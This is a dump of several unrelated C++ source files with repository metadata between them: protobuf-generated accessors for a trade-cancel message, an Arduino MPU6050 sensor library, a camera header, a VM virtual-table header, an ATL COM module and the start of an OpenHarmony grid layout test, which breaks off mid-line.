::ukex::canceltradebatch_Orders >* mutable_orders(); private: const ::ukex::canceltradebatch_Orders& _internal_orders(int index) const; ::ukex::canceltradebatch_Orders* _internal_add_orders(); public: const ::ukex::canceltradebatch_Orders& orders(int index) const; ::ukex::canceltradebatch_Orders* add_orders(); const ::PROTOBUF_NAMESPACE_ID::RepeatedPtrField< ::ukex::canceltradebatch_Orders >& orders() const; // required string token = 2; bool has_token() const; private: bool _internal_has_token() const; public: void clear_token(); const std::string& token() const; void set_token(const std::string& value); void set_token(std::string&& value); void set_token(const char* value); void set_token(const char* value, size_t size); std::string* mutable_token(); std::string* release_token(); void set_allocated_token(std::string* token); private: const std::string& _internal_token() const; void _internal_set_token(const std::string& value); std::string* _internal_mutable_token(); public: // required uint64 uid = 1; bool has_uid() const; private: bool _internal_has_uid() const; public: void clear_uid(); ::PROTOBUF_NAMESPACE_ID::uint64 uid() const; void set_uid(::PROTOBUF_NAMESPACE_ID::uint64 value); private: ::PROTOBUF_NAMESPACE_ID::uint64 _internal_uid() const; void _internal_set_uid(::PROTOBUF_NAMESPACE_ID::uint64 value); public: // required uint64 canceltradebatchid = 4; bool has_canceltradebatchid() const; private: bool _internal_has_canceltradebatchid() const; public: void clear_canceltradebatchid(); ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatchid() const; void set_canceltradebatchid(::PROTOBUF_NAMESPACE_ID::uint64 value); private: ::PROTOBUF_NAMESPACE_ID::uint64 _internal_canceltradebatchid() const; void _internal_set_canceltradebatchid(::PROTOBUF_NAMESPACE_ID::uint64 value); public: // @@protoc_insertion_point(class_scope:ukex.canceltradebatch) private: class _Internal; // helper for ByteSizeLong() size_t RequiredFieldsByteSizeFallback() const; ::PROTOBUF_NAMESPACE_ID::internal::InternalMetadataWithArena _internal_metadata_; ::PROTOBUF_NAMESPACE_ID::internal::HasBits<1> _has_bits_; mutable ::PROTOBUF_NAMESPACE_ID::internal::CachedSize _cached_size_; ::PROTOBUF_NAMESPACE_ID::RepeatedPtrField< ::ukex::canceltradebatch_Orders > orders_; ::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr token_; ::PROTOBUF_NAMESPACE_ID::uint64 uid_; ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatchid_; friend struct ::TableStruct_ukex_2ecanceltradebatch_2eproto; }; // =================================================================== // =================================================================== #ifdef __GNUC__ #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wstrict-aliasing" #endif // __GNUC__ // canceltradebatch_Orders // required uint64 orderid = 1; inline bool canceltradebatch_Orders::_internal_has_orderid() const { bool value = (_has_bits_[0] & 0x00000004u) != 0; return value; } inline bool canceltradebatch_Orders::has_orderid() const { return _internal_has_orderid(); } inline void canceltradebatch_Orders::clear_orderid() { orderid_ = PROTOBUF_ULONGLONG(0); _has_bits_[0] &= ~0x00000004u; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch_Orders::_internal_orderid() const { return orderid_; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch_Orders::orderid() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.Orders.orderid) return _internal_orderid(); } inline void canceltradebatch_Orders::_internal_set_orderid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _has_bits_[0] |= 0x00000004u; orderid_ = value; } inline void canceltradebatch_Orders::set_orderid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _internal_set_orderid(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.Orders.orderid) } // required uint64 marketid = 2; inline bool canceltradebatch_Orders::_internal_has_marketid() const { bool value = (_has_bits_[0] & 0x00000008u) != 0; return value; } inline bool canceltradebatch_Orders::has_marketid() const { return _internal_has_marketid(); } inline void canceltradebatch_Orders::clear_marketid() { marketid_ = PROTOBUF_ULONGLONG(0); _has_bits_[0] &= ~0x00000008u; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch_Orders::_internal_marketid() const { return marketid_; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch_Orders::marketid() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.Orders.marketid) return _internal_marketid(); } inline void canceltradebatch_Orders::_internal_set_marketid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _has_bits_[0] |= 0x00000008u; marketid_ = value; } inline void canceltradebatch_Orders::set_marketid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _internal_set_marketid(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.Orders.marketid) } // required uint32 type = 3; inline bool canceltradebatch_Orders::_internal_has_type() const { bool value = (_has_bits_[0] & 0x00000010u) != 0; return value; } inline bool canceltradebatch_Orders::has_type() const { return _internal_has_type(); } inline void canceltradebatch_Orders::clear_type() { type_ = 0u; _has_bits_[0] &= ~0x00000010u; } inline ::PROTOBUF_NAMESPACE_ID::uint32 canceltradebatch_Orders::_internal_type() const { return type_; } inline ::PROTOBUF_NAMESPACE_ID::uint32 canceltradebatch_Orders::type() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.Orders.type) return _internal_type(); } inline void canceltradebatch_Orders::_internal_set_type(::PROTOBUF_NAMESPACE_ID::uint32 value) { _has_bits_[0] |= 0x00000010u; type_ = value; } inline void canceltradebatch_Orders::set_type(::PROTOBUF_NAMESPACE_ID::uint32 value) { _internal_set_type(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.Orders.type) } // optional string price = 4; inline bool canceltradebatch_Orders::_internal_has_price() const { bool value = (_has_bits_[0] & 0x00000001u) != 0; return value; } inline bool canceltradebatch_Orders::has_price() const { return _internal_has_price(); } inline void canceltradebatch_Orders::clear_price() { price_.ClearToEmptyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); _has_bits_[0] &= ~0x00000001u; } inline const std::string& canceltradebatch_Orders::price() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.Orders.price) return _internal_price(); } inline void canceltradebatch_Orders::set_price(const std::string& value) { _internal_set_price(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.Orders.price) } inline std::string* canceltradebatch_Orders::mutable_price() { // @@protoc_insertion_point(field_mutable:ukex.canceltradebatch.Orders.price) return _internal_mutable_price(); } inline const std::string& canceltradebatch_Orders::_internal_price() const { return price_.GetNoArena(); } inline void canceltradebatch_Orders::_internal_set_price(const std::string& value) { _has_bits_[0] |= 0x00000001u; price_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), value); } inline void canceltradebatch_Orders::set_price(std::string&& value) { _has_bits_[0] |= 0x00000001u; price_.SetNoArena( &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::move(value)); // @@protoc_insertion_point(field_set_rvalue:ukex.canceltradebatch.Orders.price) } inline void canceltradebatch_Orders::set_price(const char* value) { GOOGLE_DCHECK(value != nullptr); _has_bits_[0] |= 0x00000001u; price_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(value)); // @@protoc_insertion_point(field_set_char:ukex.canceltradebatch.Orders.price) } inline void canceltradebatch_Orders::set_price(const char* value, size_t size) { _has_bits_[0] |= 0x00000001u; price_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(reinterpret_cast<const char*>(value), size)); // @@protoc_insertion_point(field_set_pointer:ukex.canceltradebatch.Orders.price) } inline std::string* canceltradebatch_Orders::_internal_mutable_price() { _has_bits_[0] |= 0x00000001u; return price_.MutableNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline std::string* canceltradebatch_Orders::release_price() { // @@protoc_insertion_point(field_release:ukex.canceltradebatch.Orders.price) if (!has_price()) { return nullptr; } _has_bits_[0] &= ~0x00000001u; return price_.ReleaseNonDefaultNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline void canceltradebatch_Orders::set_allocated_price(std::string* price) { if (price != nullptr) { _has_bits_[0] |= 0x00000001u; } else { _has_bits_[0] &= ~0x00000001u; } price_.SetAllocatedNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), price); // @@protoc_insertion_point(field_set_allocated:ukex.canceltradebatch.Orders.price) } // optional string number = 5; inline bool canceltradebatch_Orders::_internal_has_number() const { bool value = (_has_bits_[0] & 0x00000002u) != 0; return value; } inline bool canceltradebatch_Orders::has_number() const { return _internal_has_number(); } inline void canceltradebatch_Orders::clear_number() { number_.ClearToEmptyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); _has_bits_[0] &= ~0x00000002u; } inline const std::string& canceltradebatch_Orders::number() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.Orders.number) return _internal_number(); } inline void canceltradebatch_Orders::set_number(const std::string& value) { _internal_set_number(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.Orders.number) } inline std::string* canceltradebatch_Orders::mutable_number() { // @@protoc_insertion_point(field_mutable:ukex.canceltradebatch.Orders.number) return _internal_mutable_number(); } inline const std::string& canceltradebatch_Orders::_internal_number() const { return number_.GetNoArena(); } inline void canceltradebatch_Orders::_internal_set_number(const std::string& value) { _has_bits_[0] |= 0x00000002u; number_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), value); } inline void canceltradebatch_Orders::set_number(std::string&& value) { _has_bits_[0] |= 0x00000002u; number_.SetNoArena( &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::move(value)); // @@protoc_insertion_point(field_set_rvalue:ukex.canceltradebatch.Orders.number) } inline void canceltradebatch_Orders::set_number(const char* value) { GOOGLE_DCHECK(value != nullptr); _has_bits_[0] |= 0x00000002u; number_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(value)); // @@protoc_insertion_point(field_set_char:ukex.canceltradebatch.Orders.number) } inline void canceltradebatch_Orders::set_number(const char* value, size_t size) { _has_bits_[0] |= 0x00000002u; number_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(reinterpret_cast<const char*>(value), size)); // @@protoc_insertion_point(field_set_pointer:ukex.canceltradebatch.Orders.number) } inline std::string* canceltradebatch_Orders::_internal_mutable_number() { _has_bits_[0] |= 0x00000002u; return number_.MutableNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline std::string* canceltradebatch_Orders::release_number() { // @@protoc_insertion_point(field_release:ukex.canceltradebatch.Orders.number) if (!has_number()) { return nullptr; } _has_bits_[0] &= ~0x00000002u; return number_.ReleaseNonDefaultNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline void canceltradebatch_Orders::set_allocated_number(std::string* number) { if (number != nullptr) { _has_bits_[0] |= 0x00000002u; } else { _has_bits_[0] &= ~0x00000002u; } number_.SetAllocatedNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), number); // @@protoc_insertion_point(field_set_allocated:ukex.canceltradebatch.Orders.number) } // ------------------------------------------------------------------- // canceltradebatch // required uint64 uid = 1; inline bool canceltradebatch::_internal_has_uid() const { bool value = (_has_bits_[0] & 0x00000002u) != 0; return value; } inline bool canceltradebatch::has_uid() const { return _internal_has_uid(); } inline void canceltradebatch::clear_uid() { uid_ = PROTOBUF_ULONGLONG(0); _has_bits_[0] &= ~0x00000002u; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch::_internal_uid() const { return uid_; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch::uid() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.uid) return _internal_uid(); } inline void canceltradebatch::_internal_set_uid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _has_bits_[0] |= 0x00000002u; uid_ = value; } inline void canceltradebatch::set_uid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _internal_set_uid(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.uid) } // required string token = 2; inline bool canceltradebatch::_internal_has_token() const { bool value = (_has_bits_[0] & 0x00000001u) != 0; return value; } inline bool canceltradebatch::has_token() const { return _internal_has_token(); } inline void canceltradebatch::clear_token() { token_.ClearToEmptyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); _has_bits_[0] &= ~0x00000001u; } inline const std::string& canceltradebatch::token() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.token) return _internal_token(); } inline void canceltradebatch::set_token(const std::string& value) { _internal_set_token(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.token) } inline std::string* canceltradebatch::mutable_token() { // @@protoc_insertion_point(field_mutable:ukex.canceltradebatch.token) return _internal_mutable_token(); } inline const std::string& canceltradebatch::_internal_token() const { return token_.GetNoArena(); } inline void canceltradebatch::_internal_set_token(const std::string& value) { _has_bits_[0] |= 0x00000001u; token_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), value); } inline void canceltradebatch::set_token(std::string&& value) { _has_bits_[0] |= 0x00000001u; token_.SetNoArena( &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::move(value)); // @@protoc_insertion_point(field_set_rvalue:ukex.canceltradebatch.token) } inline void canceltradebatch::set_token(const char* value) { GOOGLE_DCHECK(value != nullptr); _has_bits_[0] |= 0x00000001u; token_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(value)); // @@protoc_insertion_point(field_set_char:ukex.canceltradebatch.token) } inline void canceltradebatch::set_token(const char* value, size_t size) { _has_bits_[0] |= 0x00000001u; token_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(reinterpret_cast<const char*>(value), size)); // @@protoc_insertion_point(field_set_pointer:ukex.canceltradebatch.token) } inline std::string* canceltradebatch::_internal_mutable_token() { _has_bits_[0] |= 0x00000001u; return token_.MutableNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline std::string* canceltradebatch::release_token() { // @@protoc_insertion_point(field_release:ukex.canceltradebatch.token) if (!has_token()) { return nullptr; } _has_bits_[0] &= ~0x00000001u; return token_.ReleaseNonDefaultNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline void canceltradebatch::set_allocated_token(std::string* token) { if (token != nullptr) { _has_bits_[0] |= 0x00000001u; } else { _has_bits_[0] &= ~0x00000001u; } token_.SetAllocatedNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), token); // @@protoc_insertion_point(field_set_allocated:ukex.canceltradebatch.token) } // repeated .ukex.canceltradebatch.Orders orders = 3; inline int canceltradebatch::_internal_orders_size() const { return orders_.size(); } inline int canceltradebatch::orders_size() const { return _internal_orders_size(); } inline void canceltradebatch::clear_orders() { orders_.Clear(); } inline ::ukex::canceltradebatch_Orders* canceltradebatch::mutable_orders(int index) { // @@protoc_insertion_point(field_mutable:ukex.canceltradebatch.orders) return orders_.Mutable(index); } inline ::PROTOBUF_NAMESPACE_ID::RepeatedPtrField< ::ukex::canceltradebatch_Orders >* canceltradebatch::mutable_orders() { // @@protoc_insertion_point(field_mutable_list:ukex.canceltradebatch.orders) return &orders_; } inline const ::ukex::canceltradebatch_Orders& canceltradebatch::_internal_orders(int index) const { return orders_.Get(index); } inline const ::ukex::canceltradebatch_Orders& canceltradebatch::orders(int index) const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.orders) return _internal_orders(index); } inline ::ukex::canceltradebatch_Orders* canceltradebatch::_internal_add_orders() { return orders_.Add(); } inline ::ukex::canceltradebatch_Orders* canceltradebatch::add_orders() { // @@protoc_insertion_point(field_add:ukex.canceltradebatch.orders) return _internal_add_orders(); } inline const ::PROTOBUF_NAMESPACE_ID::RepeatedPtrField< ::ukex::canceltradebatch_Orders >& canceltradebatch::orders() const { // @@protoc_insertion_point(field_list:ukex.canceltradebatch.orders) return orders_; } // required uint64 canceltradebatchid = 4; inline bool canceltradebatch::_internal_has_canceltradebatchid() const { bool value = (_has_bits_[0] & 0x00000004u) != 0; return value; } inline bool canceltradebatch::has_canceltradebatchid() const { return _internal_has_canceltradebatchid(); } inline void canceltradebatch::clear_canceltradebatchid() { canceltradebatchid_ = PROTOBUF_ULONGLONG(0); _has_bits_[0] &= ~0x00000004u; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch::_internal_canceltradebatchid() const { return canceltradebatchid_; } inline ::PROTOBUF_NAMESPACE_ID::uint64 canceltradebatch::canceltradebatchid() const { // @@protoc_insertion_point(field_get:ukex.canceltradebatch.canceltradebatchid) return _internal_canceltradebatchid(); } inline void canceltradebatch::_internal_set_canceltradebatchid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _has_bits_[0] |= 0x00000004u; canceltradebatchid_ = value; } inline void canceltradebatch::set_canceltradebatchid(::PROTOBUF_NAMESPACE_ID::uint64 value) { _internal_set_canceltradebatchid(value); // @@protoc_insertion_point(field_set:ukex.canceltradebatch.canceltradebatchid) } #ifdef __GNUC__ #pragma GCC diagnostic pop #endif // __GNUC__ // ------------------------------------------------------------------- // @@protoc_insertion_point(namespace_scope) } // namespace ukex PROTOBUF_NAMESPACE_OPEN template <> struct is_proto_enum< ::ukex::canceltradebatch_CONST> : ::std::true_type {}; template <> inline const EnumDescriptor* GetEnumDescriptor< ::ukex::canceltradebatch_CONST>() { return ::ukex::canceltradebatch_CONST_descriptor(); } PROTOBUF_NAMESPACE_CLOSE // @@protoc_insertion_point(global_scope) #include <google/protobuf/port_undef.inc> #endif // GOOGLE_PROTOBUF_INCLUDED_GOOGLE_PROTOBUF_INCLUDED_ukex_2ecanceltradebatch_2eproto
2b04e7e1e29c10f24c91db99f0524f9aff32ba1f
871c0f0d98ecc7fdbf254226ca5f98fb1546185c
/AccelMPU6050.cpp
bfe48da3c99a70f53d11227093549e1dccb0689f
[]
no_license
iago-lima/Lib_AccelMPU6050
7d15ccc46b663a77f6e4267c74dc3e855af0b5f6
98e9558216773daff3930d2bd4c30490cbfd72ba
refs/heads/master
2021-10-08T20:48:04.472171
2018-12-17T14:45:49
2018-12-17T14:45:49
162,145,141
0
0
null
null
null
null
UTF-8
C++
false
false
5,229
cpp
AccelMPU6050.cpp
#include "Arduino.h" #include "AccelMPU6050.h" AccelMPU6050::AccelMPU6050(int sda, int scl){ _sda_pin = sda; _scl_pin = scl; } void AccelMPU6050::initI2C(){ Wire.begin(); } void AccelMPU6050::initMPU(int gvalue, int avalue){ setSleepOff(); setGyroScale(gvalue); setAccelScale(avalue); } int AccelMPU6050::findMPU(int mpu_addr){ Wire.beginTransmission(mpu_addr); int data = Wire.endTransmission(true); if(data == 0){ Serial.print("Device found at the address: 0x"); Serial.println(mpu_addr, HEX); }else{ Serial.println("Device wasn't found!"); } return data; } void AccelMPU6050::checkMPU(int mpu_addr){ if(!findMPU(MPU_ADDR)){ int data = readRegMPU(WHO_AM_I); if(data == 104){ Serial.println("MPU6050 device answered OK! (104)"); data = readRegMPU(PWR_MGMT_1); if(data == 64){ Serial.println("MPU6050 is in SLEEP mode! (64)"); }else{ Serial.println("MPU6050 is in ACTIVE mode!"); } }else{ Serial.println("Verify the device - MPU6050 is not available!"); } } } void AccelMPU6050::writeRegMPU(int reg, int val){ Wire.beginTransmission(MPU_ADDR); Wire.write(reg); Wire.write(val); Wire.endTransmission(true); } uint8_t AccelMPU6050::readRegMPU(uint8_t reg){ uint8_t data; Wire.beginTransmission(MPU_ADDR); Wire.write(reg); Wire.endTransmission(false); Wire.requestFrom(MPU_ADDR, 1); data = Wire.read(); return data; } void AccelMPU6050::setSleepOff(){ writeRegMPU(PWR_MGMT_1, 0); } void AccelMPU6050::setGyroScale(int value){ writeRegMPU(GYRO_CONFIG, value); } void AccelMPU6050::setAccelScale(int value){ writeRegMPU(ACCEL_CONFIG, value); } AxisMPU AccelMPU6050::readRawACCEL(){ AxisMPU aux_mpu; Wire.beginTransmission(MPU_ADDR); Wire.write(ACCEL_XOUT); Wire.endTransmission(false); Wire.requestFrom(MPU_ADDR, 14); AcX = Wire.read() << 8; AcX |= Wire.read(); AcY = Wire.read() << 8; AcY |= Wire.read(); AcZ = Wire.read() << 8; AcZ |= Wire.read(); aux_mpu.X = AcX; aux_mpu.Y = AcY; aux_mpu.Z = AcZ; /*Serial.print(" |AcX = "); Serial.print((AcX*0.06)/1000.0); Serial.print(" | AcY = "); Serial.print((AcY*0.06)/1000.0); Serial.print(" | AcZ = "); Serial.println((AcZ*0.06)/1000.0);*/ return aux_mpu; } AxisMPU AccelMPU6050::readRawGYRO(){ AxisMPU aux_mpu; Wire.beginTransmission(MPU_ADDR); Wire.write(GYRO_XOUT); Wire.endTransmission(false); Wire.requestFrom(MPU_ADDR, 14); GyX = Wire.read() << 8; GyX |= Wire.read(); GyY = Wire.read() << 8; GyY |= Wire.read(); GyZ = Wire.read() << 8; GyZ |= Wire.read(); aux_mpu.X = GyX; aux_mpu.Y = GyY; aux_mpu.Z = GyZ; //DEBUG /*Serial.print(" | GyX = "); Serial.print(GyX); Serial.print(" | GyY = "); Serial.print(GyY); Serial.print(" | GyZ = "); Serial.println(GyZ);*/ return aux_mpu; } float AccelMPU6050::getAngleAccelX(int16_t AcX, int16_t AcY, int16_t AcZ){ float acelx = 0.0, acely = 0.0, acelz = 0.0; float AccXangle = 0.0, AccYangle = 0.0, AccZangle = 0.0; float const_calib = 16384.0; float const_gravid = 9.81; acelx = AcX * const_gravid / const_calib; acely = AcY * const_gravid / const_calib; acelz = AcZ * const_gravid / const_calib; AccXangle = (atan2(AcX, sqrt(pow(AcY,2) + pow(AcZ,2)))*180) / 3.14; AccYangle = (atan2(AcY, sqrt(pow(AcX,2) + pow(AcZ,2)))*180) / 3.14; AccZangle = (atan2(AcZ, sqrt(pow(AcX,2) + pow(AcY,2)))*180) / 3.14; //DEBUG /*Serial.print(" AngleX: "); Serial.print(AccXangle); Serial.print(" AngleY: "); Serial.print(AccYangle); Serial.print(" AngleZ: "); Serial.println(AccZangle);*/ return AccXangle; } float AccelMPU6050::getAngleAccelY(int16_t AcX, int16_t AcY, int16_t AcZ){ float acelx = 0.0, acely = 0.0, acelz = 0.0; float AccXangle = 0.0, AccYangle = 0.0, AccZangle = 0.0; float const_calib = 16384.0; float const_gravid = 9.81; acelx = AcX * const_gravid / const_calib; acely = AcY * const_gravid / const_calib; acelz = AcZ * const_gravid / const_calib; AccXangle = (atan2(AcX, sqrt(pow(AcY,2) + pow(AcZ,2)))*180) / 3.14; AccYangle = (atan2(AcY, sqrt(pow(AcX,2) + pow(AcZ,2)))*180) / 3.14; AccZangle = (atan2(AcZ, sqrt(pow(AcX,2) + pow(AcY,2)))*180) / 3.14; //DEBUG /*Serial.print(" AngleX: "); Serial.print(AccXangle); Serial.print(" AngleY: "); Serial.print(AccYangle); Serial.print(" AngleZ: "); Serial.println(AccZangle);*/ return AccYangle; } float AccelMPU6050::getAngleAccelZ(int16_t AcX, int16_t AcY, int16_t AcZ){ float acelx = 0.0, acely = 0.0, acelz = 0.0; float AccXangle = 0.0, AccYangle = 0.0, AccZangle = 0.0; float const_calib = 16384.0; float const_gravid = 9.81; acelx = AcX * const_gravid / const_calib; acely = AcY * const_gravid / const_calib; acelz = AcZ * const_gravid / const_calib; AccXangle = (atan2(AcX, sqrt(pow(AcY,2) + pow(AcZ,2)))*180) / 3.14; AccYangle = (atan2(AcY, sqrt(pow(AcX,2) + pow(AcZ,2)))*180) / 3.14; AccZangle = (atan2(AcZ, sqrt(pow(AcX,2) + pow(AcY,2)))*180) / 3.14; //DEBUG /*Serial.print(" AngleX: "); Serial.print(AccXangle); Serial.print(" AngleY: "); Serial.print(AccYangle); Serial.print(" AngleZ: "); Serial.println(AccZangle);*/ return AccZangle; }
e911464c75edfbdfe6d39ed392d80b52544598f9
d8033ee59a652736710748261771012f356b3431
/include/engine/system/renderer/OrthographicCamera.hpp
fcabba47ef674487db487e2119ae8cfc283db266
[]
no_license
Shwastya/MyTFMDescent
4f696a38d9e68bbaad2e5c40715465abdf536e84
1b872dd7682623de8a54cce1bfa8134a57694260
refs/heads/master
2023-06-23T12:24:23.310130
2021-07-17T20:54:22
2021-07-17T20:54:22
347,040,611
0
0
null
null
null
null
UTF-8
C++
false
false
835
hpp
OrthographicCamera.hpp
#pragma once #include <glm/glm.hpp> namespace MHelmet { class OrthograpicCamera { public: OrthograpicCamera(float left, float right, float bottom, float top); void SetPosition(const glm::vec3& pos) { m_Position = pos; } void SetRotation(float rotation) { m_Rotation = rotation; } const glm::vec3& GetPosition() { return m_Position; } float GetRotation() { return m_Rotation; } const glm::mat4& GetProjectionMatrix() const { return m_ProjectionMatrix; } const glm::mat4& GetViewMatrix() const { return m_ViewMatrix; } const glm::mat4& GetViewProjectionMatrix() const { return m_ViewProjectionMatrix; } private: void RecalculateViewMatrix(); private: glm::mat4 m_ProjectionMatrix; glm::mat4 m_ViewMatrix; glm::mat4 m_ViewProjectionMatrix; glm::vec3 m_Position; float m_Rotation = 0.0f; }; }
a27a7fc054020df3172c02d90c235925c53cf34c
39076c5617ba7191a1cfaed626dfea4e59e4ea38
/vmkit/lib/J3/VMCore/JavaVirtualTable.h
4b6eb1d056cd2c8fbca11e7a748f9ad7c918bf7a
[ "NCSA" ]
permissive
YodaCoder/JOE
41f85b808fb1c54b80cfd539325fd2ff2ff32120
bbcaf5212911dcd4cf7f3c0e8f6f4dd9a88cd942
refs/heads/master
2021-01-22T06:19:46.761702
2017-01-19T15:23:51
2017-01-19T15:23:51
null
0
0
null
null
null
null
UTF-8
C++
false
false
860
h
JavaVirtualTable.h
/* * JavaVirtualTable.h * * Created on: Mar 18, 2013 * Author: jkulig */ #ifndef JAVAVIRTUALTABLE_H_ #define JAVAVIRTUALTABLE_H_ extern "C" void EmptyDestructor(); class VirtualTable { public: word_t destructor; word_t operatorDelete; word_t tracer; word_t specializedTracers[1]; static uint32_t numberOfBaseFunctions() { return 4; } static uint32_t numberOfSpecializedTracers() { return 1; } word_t* getFunctions() { return &destructor; } VirtualTable(word_t d, word_t o, word_t t) { destructor = d; operatorDelete = o; tracer = t; } VirtualTable() { destructor = reinterpret_cast<word_t>(EmptyDestructor); } bool hasDestructor() { return destructor != reinterpret_cast<word_t>(EmptyDestructor); } static void emptyTracer(void*) {} }; #endif /* JAVAVIRTUALTABLE_H_ */
03f2a39345528d880006f9a98179e2c31a5a61f0
17291d98a2c802ec20b68a439f0ced472f8d16c5
/ComServer/ComServerModule.cpp
d0453bec3f4827256330f6d0cf190e6b6411f17e
[]
no_license
jogerh/NetComFullMessageQueue
56f65616283202c32fb206f5bf33f3b30f40e491
2b6aa5a41a61c7fa1cddd52b53d1426f56a3b7c1
refs/heads/main
2023-05-06T10:13:35.288087
2021-05-14T21:02:55
2021-05-14T21:02:55
366,868,311
0
0
null
2021-05-14T20:30:26
2021-05-12T22:21:49
C
UTF-8
C++
false
false
886
cpp
ComServerModule.cpp
// ComServer.cpp : Implementation of DLL Exports. #include "pch.h" #include "framework.h" #include "resource.h" #include "ComServerModule_i.h" #include "ComServerModule_i.c" class CComServerModule : public ATL::CAtlDllModuleT<CComServerModule> { public: DECLARE_LIBID(LIBID_ComServerLib) DECLARE_REGISTRY_APPID_RESOURCEID(IDR_COMSERVERMODULE, "{6ed1b1aa-807b-4a28-87b6-fcdc18ab8dc3}") }; CComServerModule s_atlModule; using namespace ATL; STDAPI DllCanUnloadNow(void) { return s_atlModule.DllCanUnloadNow(); } STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID* ppv) { return s_atlModule.DllGetClassObject(rclsid, riid, ppv); } STDAPI DllRegisterServer(void) { return s_atlModule.DllRegisterServer(); } STDAPI DllUnregisterServer(void) { return s_atlModule.DllUnregisterServer(); }
8e395a24ab2e3a8953287fa61a9c679c80abfed5
5671c626ee367c9aacb909cd76a06d2fadf941e2
/frameworks/core/components/test/unittest/grid_layout/render_grid_layout_animation_test.cpp
4dd4558470cda319651cfdb895af73b696ef221a
[ "Apache-2.0" ]
permissive
openharmony/ace_ace_engine
fa3f2abad9866bbb329524fb039fa89dd9517592
c9be21d0e8cb9662d5f4f93184fdfdb538c9d4e1
refs/heads/master
2022-07-21T19:32:59.377634
2022-05-06T11:18:20
2022-05-06T11:18:20
400,083,641
2
1
null
null
null
null
UTF-8
C++
false
false
13,377
cpp
render_grid_layout_animation_test.cpp
/* * Copyright (c) 2021-2022 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <vector> #include <thread> #include "gtest/gtest.h" #include "core/components/grid_layout/grid_layout_component.h" #include "core/components/grid_layout/render_grid_layout.h" #include "core/components/test/unittest/grid_layout/grid_layout_test_utils.h" #include "core/components/test/unittest/mock/mock_render_common.h" using namespace testing; using namespace testing::ext; namespace OHOS::Ace { namespace { constexpr double SPRING_INIT_DISTANCE = 100.0; constexpr int32_t ELEMENT_COUNT_TEST = 9; constexpr double GRID_OFFSET_TEST = 10.0; constexpr int32_t MOVE_COUNT_TEST = 5; constexpr double 